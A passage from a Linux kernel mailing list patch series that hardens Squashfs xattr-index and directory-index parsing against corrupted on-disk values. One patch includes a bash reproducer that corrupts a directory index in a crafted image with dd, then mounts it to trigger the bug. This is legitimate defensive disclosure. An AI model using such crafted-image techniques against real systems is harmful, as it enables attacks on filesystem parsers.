diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c index 621777e0a3b4..bf6efc604bd3 100644 --- a/fs/squashfs/xattr_id.c +++ b/fs/squashfs/xattr_id.c @@ -23,6 +23,45 @@ #include "squashfs.h" #include "xattr.h" =20 +s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 index) +{ + struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s64 start; + + if (msblk->xattr_id_is_cache) { + s32 length =3D squashfs_xattr_blocks_bytes(msblk->xattr_ids); + s32 base =3D squashfs_xattr_blocks_base(index); + s32 offset =3D squashfs_xattr_blocks_offset(index); + s32 avail =3D min_t(int, length - base, PAGE_SIZE); + struct squashfs_cache_entry *entry; + + start =3D squashfs_xattr_blocks_start(index, msblk); + if (start < 0) + return start; + + entry =3D squashfs_cache_get(sb, msblk->xattr_id_cache, start, + avail | SQUASHFS_COMPRESSED_BIT_BLOCK); + if (entry->error < 0) { + int err =3D entry->error; + + squashfs_cache_put(entry); + return err; + } + + start =3D le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]); + squashfs_cache_put(entry); + } else { + s32 block =3D squashfs_xattr_block(index); + + start =3D le64_to_cpu(msblk->xattr_id_array[block]); + } + + if (start < msblk->xattr_id_table_start || start >=3D msblk->xattr_id_tab= le) + return -EIO; + + return start; +} + /* * Map xattr id using the xattr id look up table */ @@ -31,19 +70,19 @@ int squashfs_xattr_lookup(struct super_block *sb, unsig= ned int index, unsigned long long *xattr) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int block =3D squashfs_xattr_block(index); - int offset =3D squashfs_xattr_block_offset(index); - u64 start_block; + s32 offset =3D squashfs_xattr_block_offset(index); + s64 start; struct squashfs_xattr_id id; int err; =20 if (index >=3D msblk->xattr_ids) return -EINVAL; =20 - start_block =3D le64_to_cpu(msblk->xattr_id_table[block]); + start =3D squashfs_xattr_lookup_start(sb, index); + if (start < 0) + return start; =20 - err =3D squashfs_read_metadata(sb, &id, &start_block, &offset, - sizeof(id)); + err =3D squashfs_read_metadata(sb, &id, &start, &offset, sizeof(id)); if (err < 0) return err; =20 @@ -57,19 +96,19 @@ int squashfs_xattr_lookup(struct super_block *sb, unsig= ned int index, /* * Read uncompressed xattr id lookup table indexes from disk into memory */ -__le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_sta= rt, +int squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start, u64 *xattr_table_start, unsigned int *xattr_ids) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - unsigned int len, indexes; + s32 len; struct squashfs_xattr_id_table *id_table; - __le64 *table; u64 start, end; - int n; + s64 res; =20 + /* Untrusted table_start will be validated by squashfs_read_data() */ id_table =3D squashfs_read_table(sb, table_start, sizeof(*id_table)); if (IS_ERR(id_table)) - return (__le64 *) id_table; + return PTR_ERR(id_table); =20 *xattr_table_start =3D le64_to_cpu(id_table->xattr_table_start); *xattr_ids =3D le32_to_cpu(id_table->xattr_ids); @@ -79,10 +118,9 @@ __le64 *squashfs_read_xattr_id_table(struct super_block= *sb, u64 table_start, =20 /* there is always at least one xattr id */ if (*xattr_ids =3D=3D 0) - return ERR_PTR(-EINVAL); + return -EINVAL; =20 - len =3D squashfs_xattr_block_bytes(*xattr_ids); - indexes =3D squashfs_xattr_blocks(*xattr_ids); + len =3D squashfs_xattr_blocks_bytes(*xattr_ids); =20 /* * The computed size of the index table (len bytes) should exactly @@ -92,43 +130,78 @@ __le64 *squashfs_read_xattr_id_table(struct super_bloc= k *sb, u64 table_start, end =3D msblk->bytes_used; =20 if (len !=3D (end - start)) - return ERR_PTR(-EINVAL); - - table =3D squashfs_read_table(sb, start, len); - if (IS_ERR(table)) - return table; - - /* table[0], table[1], ... table[indexes - 1] store the locations - * of the compressed xattr id blocks. Each entry should be less than - * the next (i.e. table[0] < table[1]), and the difference between them - * should be SQUASHFS_METADATA_SIZE or less. table[indexes - 1] - * should be less than table_start, and again the difference - * shouls be SQUASHFS_METADATA_SIZE or less. - * - * Finally xattr_table_start should be less than table[0]. - */ - for (n =3D 0; n < (indexes - 1); n++) { - start =3D le64_to_cpu(table[n]); - end =3D le64_to_cpu(table[n + 1]); - - if (start >=3D end || (end - start) > - (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { - kfree(table); - return ERR_PTR(-EINVAL); + return -EINVAL; + + if (len <=3D (PAGE_SIZE * 4)) { + /* Read fragment indexes into memory */ + s32 n, indexes =3D squashfs_xattr_blocks(*xattr_ids); + __le64 *array =3D squashfs_read_table(sb, start, len); + + if (IS_ERR(array)) + return PTR_ERR(array); + + /* array[0], array[1], ... array[indexes - 1] store the locations + * of the compressed xattr id blocks. Each entry should be less than + * the next (i.e. array[0] < array[1]), and the difference between them + * should be SQUASHFS_METADATA_SIZE or less. array[indexes - 1] + * should be less than array_start, and again the difference + * shouls be SQUASHFS_METADATA_SIZE or less. + * + * Finally xattr_array_start should be less than array[0]. + */ + for (n =3D 0; n < (indexes - 1); n++) { + start =3D le64_to_cpu(array[n]); + end =3D le64_to_cpu(array[n + 1]); + + if (start >=3D end || (end - start) > + (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { + kfree(array); + return -EINVAL; + } } - } =20 - start =3D le64_to_cpu(table[indexes - 1]); - if (start >=3D table_start || (table_start - start) > - (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { - kfree(table); - return ERR_PTR(-EINVAL); - } + start =3D le64_to_cpu(array[indexes - 1]); + if (start >=3D table_start || (table_start - start) > + (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { + kfree(array); + return -EINVAL; + } + + msblk->xattr_id_table_start =3D le64_to_cpu(array[0]); + if (*xattr_table_start >=3D msblk->xattr_id_table_start) { + kfree(array); + return -EINVAL; + } + + msblk->xattr_id_array =3D array; + msblk->xattr_id_is_cache =3D false; + } else { + /* Use a cache to store the last 16Kbytes of indexes read */ + struct squashfs_cache *cache =3D squashfs_cache_init("xattr index", 4, P= AGE_SIZE); + + if (IS_ERR(cache)) + return PTR_ERR(cache); =20 - if (*xattr_table_start >=3D le64_to_cpu(table[0])) { - kfree(table); - return ERR_PTR(-EINVAL); + msblk->xattr_id_cache =3D cache; + msblk->xattr_id_is_cache =3D true; + msblk->xattr_id_table_start =3D 0; + + res =3D squashfs_xattr_lookup_start(sb, 0); + if (res < 0) + goto corrupted; + + if (*xattr_table_start >=3D res) { + res =3D -EINVAL; + goto corrupted; + } + + msblk->xattr_id_table_start =3D res; } =20 - return table; + return 0; + +corrupted: + squashfs_cache_delete(msblk->xattr_id_cache); + msblk->xattr_id_cache =3D NULL; + return res; } --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.34 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405445; b=esLisBva3B63Xr89kl72zvA+JqVmkq93+qJ8ZGw+VtxPTT0Vd0J6vhZkZndpApe808Qt t/vX6a4o/QDW2bx8zISOhCK5bT4zlGBBpPy1Ipu/JsKq5F/oDZraqurs9rj3z6cmpORNF McDYUgjLhO7QSAHxJyCMFSBX5+DpsXY082U6Mf8x4RDYZ4EFwt+s/BALYph0R9ncxDC/k 0le4Zqmx1h3dB3rVs/EbHfx54F43ZCecGYcYu9ppeNyh+0vcrTSOQN38/HGslxTZ8hFlt eAwR8RfoxYN71M0Stn8PjgZd0KqT3Il9JvOqCYnjF/Aw2V4059HHl1DPkWY/KQG0bnw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405445; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=sbWSJxuPvas/13hRi+AyjgnEBVy2grelu1Ifcn8xJtI=; b=aYTk4Fczr4AAw4HZTgh8yjmemumeus4zwrarNns2x3LkAQ5gfppEehpREjmNoGOUerbS XjsQbOWoMOfgmmRDZSFYRAZ0YhrQ/4dNF3VxT09pf4LmkcTqsK+Emjr9xb122zvu+/pXZ K4t8EXPXv4r619YI35JGEM4FBUphfOCwmCoPpouCnvNkLSlJjAzLUD+q0TG40bEC9tDbZ G9s0XBzSHR/gXThvRs5t0O1e9kPtBqpW/Hr6UAl9x2kcMtMb/dV8svQNec0bOeUl7+Hwq X6ZXbx3Q2QXTNmsmUxEmdWIaompYevu7V3EruPhdiYHp8jWl9Q8n8x9IN5jwopck2Pg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=igkM5Aoj; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=Ufml50IE; arc=none smtp.remote-ip=188.121.53.34 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.34]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 19680606A6A6 for ; Mon, 23 Nov 2026 03:44:03 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 19680606A6A6 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=igkM5Aoj; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=Ufml50IE Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKyAxiqSH; Mon, 23 Nov 2026 03:43:55 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405436; bh=sbWSJxuPvas/13hRi+AyjgnEBVy2grelu1Ifcn8xJtI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=igkM5Aoj9LxB7qXXOHOnrYXGd5Be7treWAKAlxdWKLDHR4MtgyiOHRwUb+4RzsP+t OCrPzTaWZerQGmQNcvhPZ2cplukgJP9x95cPTHHx64lLynDqGdKSvXPELm8wtZTLoa WuWdxfS8PZCuZ1QHkl3/du5xkxWJ3gyHoTveDe3Ycxv+F5KDhPw+WIy82egjlZ2Sg9 1z17B0GihjOqOPX+sikvY2yEtjG4zzki3l+LJdZcToeQZsbUoyca/R3L20u56OFBtV EeRmmiT3faJOGJRq2LZxGLfU4XWr/53tddnGwgNfHoOFgAHNrPWCE5sdMMkM3I/gh0 LBvDF7A9c5GLw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405436; bh=sbWSJxuPvas/13hRi+AyjgnEBVy2grelu1Ifcn8xJtI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=Ufml50IE+9TM6maGhll55khCx5JmdR5w3tk3regGLa6nUDCF2HRLVz8anXQtiJ8yO l9ns4ymFK+03ZoiYzvNh8O/OdfV48O6ajrnIvh2rqj9wqAf4Dw5Wwajd2bKxGYr2PS 1WsQ5OtYcFU8qKKfE1kIxRMPU6Zahx5KfwfPiufbqciCZ2Ut8u3+nNLh5EIJHGC6NZ AiqtBrmfScjIPxLztILQw+BJ89wiXcRO8GaU119Ig9mYLht2jeWqqRr1X4+6ST1i37 GIJaM17mI0A8qoLlxGyQimp3v87jlpY6AZ8PXbN0ocYc4ZOv49SLdpNvdcA2A/7Moq 1ySLzP+EitTAw== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b67b a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=s_LaVScA0W0p5u1UVmwA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: b7d0e354493f31dc0bf3dc256b108c9c:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 21/23] Squashfs: fix variables in directory code and add more sanity checks Date: Mon, 23 Nov 2026 03:43:02 +0000 Message-ID: <20261123034304.261742-22-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfCqh+nxqISKwM4RE6bP1BN5KbsRBvHAgf6r6dSuAvUjmPapslTHam2kWnGC6mvJrei8KdVOudbVR6bB6oi1pDSNp+TO/h/lhFkaFVvM6GvjoM72BN2wQ vOPHy8B4YExe1DkmCTtY8K3FXMQuYHN3CZDaEhZSp0VzYQsKmyOPfpNL0LYJkFjMLdSeWiIMcVqcEXDgZAlZ7QCELUcPxtSnCwUT3ecipZ6osBeKmLlGd654 3LCDiH7QUOzH+0e/1l3bZ9ztvrQ1MTdRYG70mdkWtFltrLS6pTVesvgtUc30HMea Content-Type: text/plain; charset="utf-8" A directory larger than a metadata block (8192 bytes) will have a directory index to allow faster reading and lookup of names. This index allows the code to jump to the desired compressed metadata block, without requiring the directory to be scanned from the beginning. But the index handling code has a defect in that multiple variables including those used to read and track directory indexes from disk are signed ints. This means any index which is 2^31 or larger will be treated as a negative value. The knock on efect of this is that the offset into the desired metadata block is incorrectly computed, with the result the directory fails to be read, and an I/O error is returned. This commit corrects the variables (and function return value) to be unsigned int, and it also adds more sanity checking of the values read off disk (including directory size to avoid underflow in subtraction). Now if a directory index is found to be incorrect, the index is discarded and the previous index read from disk is used. This allows the directory to be read correctly without throwing an I/O error. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following reproducer creates a Squashfs filesystem with a root directory which has a directory index. The reproducer then corrupts root directory index 0 with an index value of -1. The filesystem is then mounted, and stat run on file /mnt/filename-490. If the exploit succeeds stat will report an I/O error and dmesg will contain Squashfs error reports. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null for i in $(seq 1 1000); do echo "filename-$i f 0700 0 0 echo hello" >> pseudo done echo "Create a Squashfs filesystem" if ! mksquashfs - img.sqsh -pf pseudo -pd "d 0777 0 0" -noI -no-progress -q= uiet; then echo Creating the Squashfs filesystem failed finish fi # Write -1 in little-endian format to file /usr/bin/echo -en "\xff\xff\xff\xff" > file echo "Over-write the root directory index 0, with an index value of -1." echo "This because the metadata is uncompressed can be over-written directl= y," echo "but, normally the metadata will be compressed." echo "The location of the 4 byte index is 32150" dd bs=3D1 seek=3D32150 if=3Dfile of=3Dimg.sqsh count=3D4 conv=3Dnotrunc sta= tus=3Dnone echo echo "Mount the filesystem on /mnt" if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi echo echo "Run stat /mnt/filename-490 on the mounted filesystem" echo echo "If the exploit works stat will report I/O error, and dmesg will" echo "contain Squashfs error reports" echo stat /mnt/filename-490 umount /mnt popd 2>&1 > /dev/null rm -rf $DIR exit 0 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 07972dde75c32 ("Squashfs: directory readdir operations") Fixes: c88da2c979369 ("Squashfs: directory lookup operations") Signed-off-by: Phillip Lougher --- v3: - Definition of start changed from u64 to s64 in squashfs_lookup(), changed in patch 12. - squashfs_dir_space() jumps to data_error, rather than read_failure, setting err to -EIO. --- fs/squashfs/dir.c | 73 ++++++++++++++++++++------ fs/squashfs/namei.c | 94 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs_helpers.h | 7 +++ 3 files changed, 136 insertions(+), 38 deletions(-) diff --git a/fs/squashfs/dir.c b/fs/squashfs/dir.c index e961af7490dc..b688e92a4efa 100644 --- a/fs/squashfs/dir.c +++ b/fs/squashfs/dir.c @@ -37,17 +37,17 @@ static const unsigned char squashfs_filetype_table[] = =3D { * (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_offset(struct super_block *sb, +static unsigned int get_dir_index_using_offset(struct super_block *sb, u64 *next_block, int *next_offset, u64 index_start, int index_offset, - int i_count, u64 f_pos) + unsigned int i_count, loff_t max_index, u64 f_pos) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; s64 res; - int err, i, index, length =3D 0; - unsigned int size; + int err; + unsigned int i, index, length =3D 0, size, start_block, block; struct squashfs_dir_index dir_index; =20 - TRACE("Entered get_dir_index_using_offset, i_count %d, f_pos %lld\n", + TRACE("Entered get_dir_index_using_offset, i_count %u, f_pos %lld\n", i_count, f_pos); =20 /* @@ -58,6 +58,18 @@ static int get_dir_index_using_offset(struct super_block= *sb, if (f_pos <=3D 3) return f_pos; f_pos -=3D 3; + max_index -=3D 3; + + /* + * A valid index starts at a directory header, and there must be enough + * room for a directory header and one directory entry. + */ + if (max_index < sizeof(struct squashfs_dir_header) + + sizeof(struct squashfs_dir_entry) + 1) + return 3; + + max_index -=3D sizeof(struct squashfs_dir_header) + + sizeof(struct squashfs_dir_entry) + 1; =20 for (i =3D 0; i < i_count; i++) { err =3D squashfs_read_metadata(sb, &dir_index, &index_start, @@ -65,33 +77,51 @@ static int get_dir_index_using_offset(struct super_bloc= k *sb, if (err < 0) break; =20 + /* Sanity check the directory index contents */ + + /* size should never be larger than SQUASHFS_NAME_LEN */ + size =3D le32_to_cpu(dir_index.size) + 1; + if (size > SQUASHFS_NAME_LEN) + break; + + /* The stored index should not be larger than max_index */ index =3D le32_to_cpu(dir_index.index); + if (index > max_index) + break; + + block =3D le32_to_cpu(dir_index.start_block); + + if (i > 0) { + /* The stored index should be larger than the previous index */ + if (index <=3D length) + break; + + /* The start_block should not be less than the previous start_block */ + if (block < start_block) + break; + } + if (index > f_pos) /* * Found the index we're looking for. */ break; =20 - size =3D le32_to_cpu(dir_index.size) + 1; - - /* size should never be larger than SQUASHFS_NAME_LEN */ - if (size > SQUASHFS_NAME_LEN) - break; - err =3D squashfs_read_metadata(sb, NULL, &index_start, &index_offset, size); if (err < 0) break; =20 - res =3D squashfs_dir_start(le32_to_cpu(dir_index.start_block), msblk); + res =3D squashfs_dir_start(block, msblk); if (res < 0) break; =20 + start_block =3D block; length =3D index; *next_block =3D res; } =20 - *next_offset =3D (length + *next_offset) % SQUASHFS_METADATA_SIZE; + *next_offset =3D ((u64)length + *next_offset) % SQUASHFS_METADATA_SIZE; =20 /* * Translate back from internal f_pos to external f_pos. @@ -105,7 +135,8 @@ static int squashfs_readdir(struct file *file, struct d= ir_context *ctx) struct inode *inode =3D file_inode(file); struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; s64 block; - int offset, length, err; + int offset, err; + loff_t length; unsigned int inode_number, dir_count, size, type; struct squashfs_dir_header dirh; struct squashfs_dir_entry *dire =3D NULL; @@ -161,12 +192,15 @@ static int squashfs_readdir(struct file *file, struct= dir_context *ctx) squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset, squashfs_i(inode)->dir_idx_cnt, - ctx->pos); + i_size_read(inode), ctx->pos); =20 while (length < i_size_read(inode)) { /* * Read directory header */ + if (!squashfs_dir_space(inode, length, sizeof(dirh))) + goto failed_read; + err =3D squashfs_read_metadata(inode->i_sb, &dirh, &block, &offset, sizeof(dirh)); if (err < 0) @@ -183,23 +217,30 @@ static int squashfs_readdir(struct file *file, struct= dir_context *ctx) /* * Read directory entry. */ + if (!squashfs_dir_space(inode, length, sizeof(*dire))) + goto failed_read; + err =3D squashfs_read_metadata(inode->i_sb, dire, &block, &offset, sizeof(*dire)); if (err < 0) goto failed_read; =20 + length +=3D sizeof(*dire); size =3D le16_to_cpu(dire->size) + 1; =20 /* size should never be larger than SQUASHFS_NAME_LEN */ if (size > SQUASHFS_NAME_LEN) goto failed_read; =20 + if (!squashfs_dir_space(inode, length, size)) + goto failed_read; + err =3D squashfs_read_metadata(inode->i_sb, dire->name, &block, &offset, size); if (err < 0) goto failed_read; =20 - length +=3D sizeof(*dire) + size; + length +=3D size; =20 if (ctx->pos >=3D length) continue; diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c index 40114813f51f..b530d3e9ddab 100644 --- a/fs/squashfs/namei.c +++ b/fs/squashfs/namei.c @@ -61,59 +61,97 @@ * (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_name(struct super_block *sb, +static unsigned int get_dir_index_using_name(struct super_block *sb, u64 *next_block, int *next_offset, u64 index_start, - int index_offset, int i_count, const char *name) + int index_offset, unsigned int i_count, + loff_t max_index, const char *name) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; s64 res; - int i, length =3D 0, err; - unsigned int size; - struct squashfs_dir_index *index; + int err; + unsigned int i, index, length =3D 0, size, start_block, block; + struct squashfs_dir_index *dir_index; =20 - TRACE("Entered get_dir_index_using_name, i_count %d\n", i_count); + TRACE("Entered get_dir_index_using_name, i_count %u\n", i_count); =20 if (i_count =3D=3D 0) goto out; =20 - index =3D kmalloc(sizeof(*index) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); - if (index =3D=3D NULL) { + /* + * Translate from external index to internal index. This is offset by + * 3 because we invent "." and ".." entries. + */ + max_index -=3D 3; + + /* + * A valid index starts at a directory header, and there must be enough + * room for a directory header and one directory entry. + */ + if (max_index < sizeof(struct squashfs_dir_header) + + sizeof(struct squashfs_dir_entry) + 1) + goto out; + + max_index -=3D sizeof(struct squashfs_dir_header) + + sizeof(struct squashfs_dir_entry) + 1; + + dir_index =3D kmalloc(sizeof(*dir_index) + SQUASHFS_NAME_LEN + 1, GFP_KER= NEL); + if (dir_index =3D=3D NULL) { ERROR("Failed to allocate squashfs_dir_index\n"); goto out; } =20 for (i =3D 0; i < i_count; i++) { - err =3D squashfs_read_metadata(sb, index, &index_start, - &index_offset, sizeof(*index)); + err =3D squashfs_read_metadata(sb, dir_index, &index_start, + &index_offset, sizeof(*dir_index)); if (err < 0) break; =20 + /* Sanity check the directory index contents */ =20 - size =3D le32_to_cpu(index->size) + 1; + /* size should never be larger than SQUASHFS_NAME_LEN */ + size =3D le32_to_cpu(dir_index->size) + 1; if (size > SQUASHFS_NAME_LEN) break; =20 - err =3D squashfs_read_metadata(sb, index->name, &index_start, + /* The stored index should not be larger than max_index */ + index =3D le32_to_cpu(dir_index->index); + if (index > max_index) + break; + + block =3D le32_to_cpu(dir_index->start_block); + + if (i > 0) { + /* The stored index should be larger than the previous index */ + if (index <=3D length) + break; + + /* The start_block should not be less than the previous start_block */ + if (block < start_block) + break; + } + + err =3D squashfs_read_metadata(sb, dir_index->name, &index_start, &index_offset, size); if (err < 0) break; =20 - index->name[size] =3D '\0'; + dir_index->name[size] =3D '\0'; =20 - if (strcmp(index->name, name) > 0) + if (strcmp(dir_index->name, name) > 0) + /* Found the index we're looking for. */ break; =20 - res =3D squashfs_dir_start(le32_to_cpu(index->start_block), msblk); + res =3D squashfs_dir_start(block, msblk); if (res < 0) break; =20 - length =3D le32_to_cpu(index->index); + start_block =3D block; + length =3D index; *next_block =3D res; } =20 - *next_offset =3D (length + *next_offset) % SQUASHFS_METADATA_SIZE; - kfree(index); - + *next_offset =3D ((u64)length + *next_offset) % SQUASHFS_METADATA_SIZE; + kfree(dir_index); out: /* * Return index (f_pos) of the looked up metadata block. Translate @@ -135,7 +173,8 @@ static struct dentry *squashfs_lookup(struct inode *dir= , struct dentry *dentry, struct squashfs_dir_header dirh; struct squashfs_dir_entry *dire =3D NULL; s64 block; - int offset, err, length; + int offset, err; + loff_t length; unsigned int dir_count, size; =20 TRACE("Entered squashfs_lookup [%llx:%x]\n", squashfs_i(inode)->start, @@ -162,12 +201,16 @@ static struct dentry *squashfs_lookup(struct inode *d= ir, struct dentry *dentry, length =3D get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start, squashfs_i(dir)->dir_idx_offset, - squashfs_i(dir)->dir_idx_cnt, name); + squashfs_i(dir)->dir_idx_cnt, + i_size_read(dir), name); =20 while (length < i_size_read(dir)) { /* * Read directory header. */ + if (!squashfs_dir_space(dir, length, sizeof(dirh))) + goto data_error; + err =3D squashfs_read_metadata(dir->i_sb, &dirh, &block, &offset, sizeof(dirh)); if (err < 0) @@ -184,23 +227,30 @@ static struct dentry *squashfs_lookup(struct inode *d= ir, struct dentry *dentry, /* * Read directory entry. */ + if (!squashfs_dir_space(dir, length, sizeof(*dire))) + goto data_error; + err =3D squashfs_read_metadata(dir->i_sb, dire, &block, &offset, sizeof(*dire)); if (err < 0) goto read_failure; =20 + length +=3D sizeof(*dire); size =3D le16_to_cpu(dire->size) + 1; =20 /* size should never be larger than SQUASHFS_NAME_LEN */ if (size > SQUASHFS_NAME_LEN) goto data_error; =20 + if (!squashfs_dir_space(dir, length, size)) + goto data_error; + err =3D squashfs_read_metadata(dir->i_sb, dire->name, &block, &offset, size); if (err < 0) goto read_failure; =20 - length +=3D sizeof(*dire) + size; + length +=3D size; =20 if (name[0] < dire->name[0]) goto exit_lookup; diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 9423d5a0a700..59778eb5a8d5 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -352,4 +352,11 @@ static inline s64 squashfs_add_indexes(u64 block, s64 = blks, struct squashfs_sb_i =20 return block + blks; } + +static inline bool squashfs_dir_space(struct inode *inode, loff_t length, = int size) +{ + loff_t space =3D i_size_read(inode) - length; + + return space >=3D size; +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.42 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405451; b=IaP2rjNAX5Vbj7XuGd1O6jBU4q59Dk4gLXmegvGoL7yYZUQrOrWVjzSuDdKAFopAYYm3 YAOGobAwHzuP8d5NC+5cN7tgz2KG2B0bpi5bmrkWHFt9GtXk8uRuVMvTFUwn2F8O3Gvd/ fMSE+ccVIsMNK7+b8MAr5T8oVqGdpAM7L6N2Q8/q93wDDRjfSP3nb/JCbncY/o3dYGtjE FB8UlC1qAePMChXPv6ANOghBfC3ALjrU/BP/J5GwJyp0iAkkoF48tnW/v4OBatUZR/iWM hK1dCCxHoOTN9VN0LG6LKw1TqKlA6exQ1YWyZyrnsV24s47KfgqxnXnzL1etVDqFRvw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405451; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=Tf25+vOP9zTNzY6gCBv/9IAPtFBcQO6viZrcwBE4HZI=; b=GuwwtpzpPnG4XCGaM8JLvrhttPgRKL29Ku902qneGakkkM6gvVFnmv9l5qG91wKLzErq QiVoN+EYbQTRNKqvy1Q1Wdo27s91I/icj4bk89sBWTQ+ZNM/BLY8fO5EMEBnd02d4vLHe Y+NMcO0SCV26g+WCJ5kLBkHrH/var0yimg7H/X+7ZEo6NmTkWCOtceiEaPX9ASzftnbix sloDGOKGiXT2vocK3wFLulliyed3yCAsRyUe/ZnUQneiTwasAWrc5Q6OvisU6qxGih1RD E0Ba3FXwav9WLjPP9tTdTUFpR+JK44JD0hg2ZbaPy8sOL6bOyktTpsfojzE31XmtpBA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=sbUcuhdv; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 